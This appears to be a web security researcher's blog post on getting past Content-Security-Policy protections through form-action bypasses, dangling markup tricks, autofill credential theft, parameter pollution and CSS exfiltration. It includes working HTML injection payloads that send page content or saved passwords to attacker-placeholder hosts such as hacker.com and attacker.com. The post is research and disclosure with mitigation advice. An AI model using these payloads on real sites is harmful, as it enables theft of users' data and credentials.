form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP
The Content-Security-Policy is a widely adopted security standard designed to protect applications against content injection vulnerabilities such as XSS and HTML injection. Often, these types of vulnerabilities become worthless due to the Content Security Policy.
Nowadays, there are many write-ups that show how to find a way around poorly configured policies. This presentation differs because it shows how to exploit applications even if the CSP is correctly configured. Some of these bypasses don't rely on any misconfigurations.
This post will begin by showing that very often the Content-Security-Policy is not adequately configured. Due to these super common configuration flaws, applications often remain vulnerable to dangerous attacks.
Later on, a form-action Content-Security-Policy will be exposed. This bypass allows attackers to exfiltrate information from users' accounts by injecting forms that consume the document's content and then submitting the form to an external domain despite of facing a Content-Security-Policy that forbids submitting form data to external domains. This attack doesn't rely on misconfigurations and works in a lot of scenarios.
Browsers' security defenses against dangling markup attacks were bypassed too: Dangling markup attacks were very powerful content injection attacks that came in useful in situations where script execution is not allowed (e.g. blocked by the CSP). Because of this, browsers now have security defenses that block dangling markup attacks. Due to this mitigation, these attacks became dead and useless. The post will show how to bypass these browsers' security defenses, resurrecting dangling markup attacks back from the dead. With one of these bypasses it is possible to exploit content injection vulnerabilities regardless of whatever the configuration might be, it works even when facing the strictest CSP configurations (e.g. everything set to 'none': default-src 'none'; form-action: 'none').
After a sample study of 300 of the most visited websites in the world, statistics have proven that there is a lot of ignorance regarding the correct use of the CSP: 82.6% of the policies have vulnerable configurations and 87.5% of the well-configured policies can be bypassed with one of the attacks exposed in this post; this means that 98% of the policies can be defeated. It is very likely that if you have a web app that uses a Content Security Policy, its configuration is vulnerable.
Other tactics for dealing with the CSP will be shown too.
Possibly this post will help transform those worthless code injection bugs into exploitable vulnerabilities.
The forgotten directive
Apparently there is a lot of ignorance regarding the use of the form-action directive. The form-action directive restricts to which locations forms can be submitted.
In most websites it is not used at all (~82.5% of a sample study), it seems that it is not considered a very important Content-Security-Policy directive, but this is a very big mistake. As it is about to be demonstrated, the consequences of not using it could be lethal.

Data exfiltration through forms
Even though script execution might be correctly mitigated by the CSP, if the form-action directive is not specified, it will still be possible to exfiltrate the document's content with <form> injections.

A <form> tag and a <textarea> tag are injected, along with a submit button that has some very effective CSS style code.
The unclosed <textarea> tag will consume all the information after itself.

The consumed data will be sent to an external domain controlled by the attacker when any element in the page is clicked.
A little of inline CSS code is used to make the form submit button invisible and to make it as big as the whole document; this will trick the user into submitting the form whenever any element in the page is clicked. Click here to see a DEMO
Therefore, it is very important to always declare the form-action directive to prevent injected forms from exfiltrating the information in the page. But the reality is that the form-action directive is very often not declared: ~82.5% out of a sample of some of the 300 most visited websites in the world. This is an alarming number.
One way to mitigate the attack just described would be to set form-action to 'self', this means that forms are not allowed to be submitted to external domains so information cannot be exfiltrated.
~15.9% of the websites in the sample have form-action set to 'self'. The objective of this post will be to tackle down this 15.9% by submitting form data to an external domain even if the Content Security Policy is forbidding such action.
But first, other ways in which forms can be used to do harm will be explained, in order to be aware of the risks of this bypass.
Exploiting autofill to leak login credentials
What if there's a markup injection in the page but there's no valuable information in it?
If the website has a login form somewhere in the application (not necessarily in the vulnerable page, it can be anywhere in the same domain) it is possible to mark the vulnerability as potentially exploitable in the report.
The browser's password manager has a list of the domains where login credentials have been saved. Whenever the browser renders a page with a <input type='password'> , it assumes the page has a login form and, if the site's domain is listed in the password manager, the login will be automatically filled with the saved credentials.
If there is a HTML injection in a page that has no sensitive information to be exfiltrated, it is possible to inject a <form> with 2 input fields: a text input field and a password input field. When the browser renders the input fields, the form is going to be automatically filled with the user's saved credentials. The credentials will be leaked whenever any element in the page is clicked.

Even if the hidden HTML attribute is used in the <input> tags to make them invisible, the password manager will still autofill the login with the user's credentials.
It might sound that abusing the password manager is not a very clear shot, but the reality is that browser vendors actually advise users to use the password manager. Browser vendors claim making use of the password manager increases users' safety because they allow them to have very strong and unique passwords for every site as they don't need to remember them. Google even made a little commercial in which they encourage users to use the password manager, Google says it improves users' security.
Even further, when someone buys a new phone with android and browses the web for the very first time, Google Chrome will ask the user if he would like to turn on the sync feature so that he can use his data across different devices. When the sync feature is turned on, the password manager is automatically enabled for all websites. This is also the case for people who use Google Chrome in their computers.

Whenever the web application has a login form, it cannot be determined if the users use the "Save credentials" feature, but it is possible that some of they do. Which means that it is possible that the markup injection could be exploited to exfiltrate users' credentials. So, if there is a login form anywhere in the application the markup injection can be classified as "potentially exploitable" and it wouldn't be a "not exploitable" anymore.
The browser's password manager can be used even if the form input fields use the autocomplete=off attribute. Enterprises can use Chrome Enterprise, this browser can be used by enterprises to enforce certain security policies in the laptops of their employees, such as disabling the password manager.
Dangling Markup Attacks
Dangling markup injection is a very powerful scriptless attack that is useful when script execution is not allowed.
Sometimes it is possible to inject an HTML element that requests an external resource (such as an image or a stylesheet), and leave an unclosed quote to consume the document's content into the URL in the attribute of the injected element.

When the browser fetches the external resource, the consumed information will leak through the request's URL. The limitation of this attack is that there must be a closing quote for the injected HTML to be valid.

However, as you can see in the next screenshot, some browsers implement defenses against such kinds of attacks. Whenever there is a request that has at least one angle-bracket ( < > ) and a new-line (%0A or %0D), the request is blocked; it looks like the document's source-code is being exfiltrated.

These security defenses are (currently) implemented by Google Chrome and Microsoft Edge. Firefox does allow such types of requests and will let the document leak throughout the URI. Safari, I haven't tested.
In some scenarios, this security validation can be broken. This bypass makes it possible to resurrect dangling markup attacks back from the dead. A dangling markup injection is a very profitable alternative attack when script execution is not possible.
There are 4 ways in which the validation can be bypassed:
- By using data: URLs with <iframe>, <object> or <embed>
- By using a <link> tag with stylesheet code in a data: URL
- By using <area> anchor elements
- Using window.name
Bypass #1: UTF-16 character encoding attack
The first bypass works by using CSS. The url() CSS function is used to make a request that will leak the document through the URL.
In order to avoid detection, the character set encoding of the document is going to be changed so that all the ASCII characters become CJK characters (Chinese, Japanese and Korean). This way, instead of seeing < and > characters and new-lines (%0A), the browser is going to see Chinese characters.
Changing the character set of the document is possible even if the document has a Content-Type declaration or a <meta charset> declaration. Also, BOM sequences are not needed and can be overridden too.
This can be achieved by using an <iframe> with a data: URL
data: URLs can be used to define the content of the resource being requested in the URL itself. Instead of linking to an external resource, the URL contains the whole file.
A data: URL can have a document-type and charset declaration:
<iframe src='data:text/html; charset=utf-8, <html><body><h1> Hello </h1></body></html>'>

Now leave the quote of the iframe's src attribute unclosed and see how everything after it gets consumed into the iframe.

Now it's just a matter of changing the character set in the mime-type declaration of the data: URL to UTF-16 and that will do.

Now inject the dangling markup encoded in UTF-16 so that it is decoded as valid code and not Chinese and leak everything out with it:
Dangling markup:
<html><body><style>*{background-image: url(http://hacker.com/leak?data=
UTF-16 encode it by placing a null-byte after each character (both little-endian and big-endian byte-orders are supported), then double-encode everything because it is a URL. And that's it, just put everything inside the data: URL
?html_injection=<iframe src='data:text/html; charset=UTF-16, %2500<%2500h%2500t%2500m%2500l%2500>%2500<%2500b%2500o%2500d%2500y%2500>%2500<%2500s%2500t%2500y%2500l%2500e%2500>%2500*%2500{%2500b%2500a%2500c%2500k%2500g%2500r%2500o%2500u%2500n%2500d%2500-%2500i%2500m%2500a%2500g%2500e%2500:%2500 %2500u%2500r%2500l%2500(%2500h%2500t%2500t%2500p%2500:%2500/%2500/%2500h%2500a%2500c%2500k%2500e%2500r%2500.%2500c%2500o%2500m%2500/%2500l%2500e%2500a%2500k%2500?%2500d%2500a%2500t%2500a%2500=
All the consumed data will be interpreted as Chinese characters instead of < > %0A %0D just like in the previous screenshot. The Chinese characters will be automatically encoded to UTF-8 when they are sent through the URL. This results in a different encoding and the original %3C, %3E, %0A characters won't be seen anymore. As a result the request is not blocked anymore.

Now it is only a matter of UTF-8 decoding the URI to get the original data.

The constraint here is that iframes are allowed to used data: URLs in only 19% of the sampled websites. With bypass #2 this percentage will be increased to ~70%.
Bypass #2: Hacking with style
There are other ways to leak the data; the <iframe> is actually not necessary but it was very useful for the purpose of explaining the bypass, but the same thing can be achieved by using only a <link> tag:

The URL is being leaked through a background-image property. Loading images from external domains might be blocked by the image-src directive. There are different types of resources that can be fetched as an alternative accordingly to the CSP in question:
image-src
background-image
border-image-source
filter
list-style-image
mask
mask-border-source
font-src
@font-face
style-src
@import
But even though these constraints are quite a limitation, these bypasses are very nice because they do not require user-interaction besides opening the page with the injection.
Bypass #3: Target down
This is probably the most harmful attack illustrated in this post. Also, bypassing Google Chrome's and Microsoft Edge's security defense was extremely easy.
Unlike all the other attacks, this attack always works regardless of very strict Content-Security-Policy configurations such as having everything set to 'none'.
form-action 'none'; img-src 'none'; font-src 'none'; media-src: 'none'; frame-src 'none'; prefetch-src 'none'; default-src 'none'
Inline style-src is very convenient to have though.
The drawback is that this attack requires one-click from the user. If inline style is allowed (as it almost always is), having any element of the page clicked will do.
It is possible to leak information by using an unclosed <area> element.

The href attribute is left unclosed so that it consumes all the data until a quote is found (" or ' can be used conveniently), however, the page must have a closing quote. Sometimes injected code is output more than once throughout the document so it is possible to tweak the injection so that it closes itself.
Google Chrome and Microsoft Edge have a security defense against dangling markup attacks of this sort. Whenever there is a hyperlink with a URL that has angle-brackets < > and %0A/%0D characters, the link is disabled and clicking it results in no-action.
This was super easy to bypass though, just by adding a target attribute to open the URL in a new tab, the link will be enabled and clickable and the data will be leaked through the URL as soon as any element in the page is clicked. Nowadays links with target="_blank" are not opened in a new window, they are opened in a new tab, so this happens without prompting the user for authorization.
It is super nice that the <area> tag does not need to have any inner text for it to be valid syntax and clickable. Notice how the link still works even there's nothing nested inside the tag because of the CSS used to make the link as big as the document.
Using an <area> will do but using a <a> tag will work just fine too.
In contrast with all the other attacks in this post, this attack cannot be blocked via any Content-Security-Policy directive nor stopped with any Cross-Origin related HTTP header, the Referrer policy is also futile here.
Bypass #4: Using window names
A while ago I made a post about a technique to bypass browsers' defenses against dangling markup injection attacks. Basically it consists of opening a page with an <iframe>, <object> or <embed> tag and consume everything into the name attribute by leaving it unclosed, the name attribute will not be validated because it is not meant to be used for URLs. The window.name can be read from the page loaded within the iframe.
Complete write-up here:
Bypassing Browser's Mitigations Against Dangling Markup Injection
form-action Content-Security-Policy bypass
If the form-action directive is set to 'self' or even restricted to a specific path, the content of the page can still be leaked to any external domain by the use of forms.
The only constraint for this form-action Content-Security-Policy bypass is that the parameter vulnerable to HTML injection must be a GET parameter (if the injection happens to be in a POST parameter, in certain scenarios, the attack vector can be tweaked to make the attack work).
Once an HTML injection is found, a <form> tag and a <textarea> tag are injected into the vulnerable page. The textarea tag is left unclosed to consume all the information that follows.
The form method will be set to GET so that, when the form is submitted, all the data consumed by the <textarea> will be placed in the URL. Then it is only a matter of leaking the URL to exfiltrate all the data.
So how to leak the URL?
In order to leak the URL, a second injection has to be made. This injection can be a <img> tag that requests an external image located in the attacker's domain. When the browser makes the request to the external domain, the Referer HTTP header will leak the entire URL. The referrer policy must be set to "unsafe-url".
<img src="//attacker.com/referrer_leak" referrerpolicy="unsafe-url" />
So, in addition to the <textarea>, the injection will also have an <input> field that will carry the second injection (the <img> tag that leaks the URL). The form will be submitted to the same vulnerable page, the document's content will be placed in the URL and the vulnerable GET parameter will be injected with the <img> tag.
Putting it all together, the injection should look something like this:
vulnerable.php?html_injection=<form action="vulnerable.php" method="GET">
<input name="html_injection" value="<img referrerpolicy='unsafe-url' src='//attacker.com/data_leak' />" />
<input type="submit" value="Leak data!" style="opacity: 0; height: 100%25; width: 100%25; position: absolute; top: 0; right: 0;" />
<textarea name="leaked_data">
In case the Content-Security-Policy is blocking the loading of cross-domain images with the img-src directive, there are other types of resources that might be loaded with a <link> tag:
<link referrerpolicy="unsafe-url" rel="preload" as="font" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="image" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="script" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="style" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="preload" as="track" href="//hacker.com/data_leak" />
<link referrerpolicy="unsafe-url" rel="stylesheet" href="//hacker.com/data_leak" />
URL leak with Refresh.
If default-src is set to 'self' or 'none', and it is not possible to load external resources, it is possible to redirect the browser to the attacker's domain with meta Refresh and leak the URL through the Referer header:
<meta http-equiv="Refresh" content="1, url=http://hacker.com/leak" />
The Referer policy must be declared via a <meta> tag so that the URL query string is disclosed.
<meta name="referrer" content="unsafe-url" />
vulnerable_page.php?html_injection=<form method=GET action=vulnerable_page.php>
<input type=submit value="Leak all the data!" style="opacity: 0; position: absolute; top: 0; right: 0; width: 100%25; height: 100%25;">
<input hidden name=html_injection value="<meta name=referrer value=unsafe-url><meta http-equiv=refresh content='1, url=http://hacker.com/leak'>">
<textarea name=exfiltrated_data>


The way in which web apps should use the Content-Security-Policy is by setting form-action to 'none' in all pages that do not send form data and, in pages that do send form data, form-action should be set to a specific URI in order to avoid data hijacking and Same-Site Request Forgery.
Hyperlink (user-interaction: 2 clicks)
If for any reason it is not possible to use meta Refresh to redirect the browser to the attacker's domain, an <area> invisible hyperlink can be used to induce redirection to the attacker's domain
Maybe there are better ways of using CSS for changing the UI in a more compelling way to get 2 clicks, rather than just setting the opacity to 0.
The cracks in the form-action directive
It has already been demonstrated why it is imperative to declare the form-action directive. However, when it does get used, the way in which it is used most of the time still leaves the application vulnerable to certain attacks.
Usually, whenever form-action is used, it is set to 'self', preventing forms to be submitted to external domains. Sometimes, forms are allowed to be sent cross-origin to certain specific domains.
In both cases, the following attacks are still possible:
- Overwriting user input with parameter pollution
- Same-Site Request Forgery
Overwrite input with parameter pollution
By injecting input fields with name attributes equal to the authentic input fields' in the form, it might be possible to overwrite the values entered by the victim, thus tampering the submitted information.

Duplicating parameters is known as parameter pollution (as initially termed by Stefano Di Paola). The way duplicate parameters are processed is framework-specific. Some of them use the first parameter and others the last, others concatenate the values. The following resource shows how different frameworks handle request parameters:
https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89
If the code injection occurs after the <form> tag, it is still possible to associate input fields to the form if the <form> tag has an id attribute:

Hijacking CSRF tokens

This is basically a Same-Site Request Forgery. The form action gets overwritten so the data is submitted to a different module of the application, along with injected hidden parameters. The page's authentic CSRF token makes the attack possible. The rest of the original parameters are ignored in most cases.
It seems like setting form-action to 'self' is not enough. It would be better to have path-specific form-action directives for each authentic form that belongs to the application.
form-action https://hack.me/user/form_one.html
The protocol should be added too. If only the domain is specified the user can be fooled into submitting the form over an insecure channel by using http: instead of https:

It seems that using content injection to conduct parameter pollution attacks cannot be mitigated through any HTTP header as for now. Even if each form is delivered with a path-specific form-action directive these attacks will still be feasible. It would be a matter of input validation.
style-src
After examining the Content-Security-Policy of some of the world's 300 most visited websites, I was delighted to find that style-src is always so permissive that <style> tags and style attributes are allowed in 100% of the websites I tested.
CSS style code shouldn't be underestimated. There are plenty of high-impact CSS-based scriptless attacks that can be used to compromise the security of applications. Once this realization is made, it becomes very apparent that the weakest point in most CSP configurations is style-src. When there is a Content Security Policy, it is still possible to exploit applications with CSS attacks pretty much always. So this is usually a clear shot.
PortSwigger researcher Gareth Heyes developed a fabulous CSS code injection exploitation tool that is capable of exfiltrating the document without prior knowledge of it's structure. You just have to inject the following line to exfiltrate the document's content:
<style> @import 'https://portswigger-labs.net/blind-css-exfiltration/start'; </style>
This is also very very good because the data will be exfiltrated regardless if it happens to be before or after the injectionYou can read about his attack in the following link:
Blind CSS data exfiltration by Gareth Heyes
https://portswigger.net/research/blind-css-exfiltration
***** UPDATE *****
Awesome news, a security researcher called Dragos Albastroiu released a CSS injection exploitation tool that in contrast to Gareth's tool, it also exfiltrates text nodes and even the content inside <script> tags! This is his blog post:
Making use of CSS via the style attribute is super super useful in many attack scenarios when user-interaction is needed. If you need the user to click a specific element in the page, style can be used to trick the user into clicking that element whenever any other element in the page is clicked.
There are also many other attacks, they are clever so it is fun to read about them. These are some resources that illustrate powerful CSS attacks:
@sirdarckcat's attribute reader:
http://eaea.sirdarckcat.net/cssar/v2/
@kinugawamasato text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic
Mario Heiderich presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie
Conclusions
This post described 4 different types of attacks:
Data exfiltration to external domains when the form-action directive is not used
It was demonstrated that using the form-action directive is crucial because dangerous attacks can be leveraged if it isn't used. Many websites don't use this directive (~82.5% of the domains in the sample study).
Possible attacks when form-action is set to 'self' or to a specific path.
Even if form-action is set to 'self', the application remains exploitable to a certain degree.
It was recommended to restrict form-action to specific paths and not only to domain names. However, parameter pollution attacks can still be carried out in such configurations. It is important to deliver form-action 'none' in all pages where there are no forms.
Dangling Markup Injections
These data exfiltration attacks are useful when form-action is set to 'none'.
Some of these attacks do not require any user-interaction but they can be blocked by means of other CSP directives such as img-src, style-src and frame-src.
The <area> attack requires 1 click from the user but it cannot be blocked by any CSP directive.
Limitations: these attacks do not consume the whole document, and there must be a closing-quote somewhere in the document for the injection to work.
form-action CSP bypass
Exfiltrating data to external domains by the use of forms is still possible even if form-action is set to 'self'. The advantage of these attacks is that they consume the whole document and there is no need to have a closing quote, which means that they work in most situations with a higher degree of effectiveness.
abusing autofill in login forms
If the web application has a login form, you can mark the bug as potentially exploitable. This wouldn't be the case if the app has a Multi Factor Authentication.
Remember to use the hidden attribute in the <textare> tag to avoid displaying the text-box with all the code of the web page
It seems that even in the most strict CSP configurations (e.g. everything set to 'none') content injections can still be exploited thanks to the <area> dangling markup attack. Some browsers have built-in security defenses against these types of attacks but, as it has been illustrated already, these security defenses can be bypassed.
Also, it would be neat if a global referrer policy could be enforced over all types of possible requests. The referrerpolicy attribute can override the Referrer-Policy HTTP header and meta referrer elements as well, if this didn't happen just like with Content-Type declarations, the form-action CSP bypass could be mitigated. As long as the URL can be leaked, this directive can be bypassed if it is set to 'self'.
Acknowledgment
Many of the attacks shown in this post have been public since (2011) in Michal Zalewski's (@lcamtuf) website: https://lcamtuf.coredump.cx/postxss/ However, when I came up with the idea of the form-action CSP bypass, I didn't know there was something very similar already published in Zalewski's post. I wanted to write about it because I liked the idea and also because it seems this has gone somewhat unnoticed since 2011. It is super common to find websites that don't use the form-action directive even though high risk content injection attacks are possible without it. Setting form-action to 'none' in pages that don't have forms and a way to enforce the Referrer-Policy over all requests would be recommended.
Zalewski's post also talks about Dangling Markup Injections. However, the attacks he wrote about don't work anymore because nowadays browsers have mitigation's that block these kinds of attacks. So I think the UTF-16 encoding bypass and the <area> target bypass are a nice contribution since they resurrected these attacks and made them possible once again regardless of browser's security defenses.
I hope you find this useful and are able to make those dead content injection bugs exploitable.
You can follow me on X, Bluesky and infosec-exchange:
https://x.com/ruben_v_pina
https://bsky.app/profile/nzt-48.org
https://infosec.exchange/@ruben_v_pina
Filed under: Uncategorized - @ 2025-01-19 00:39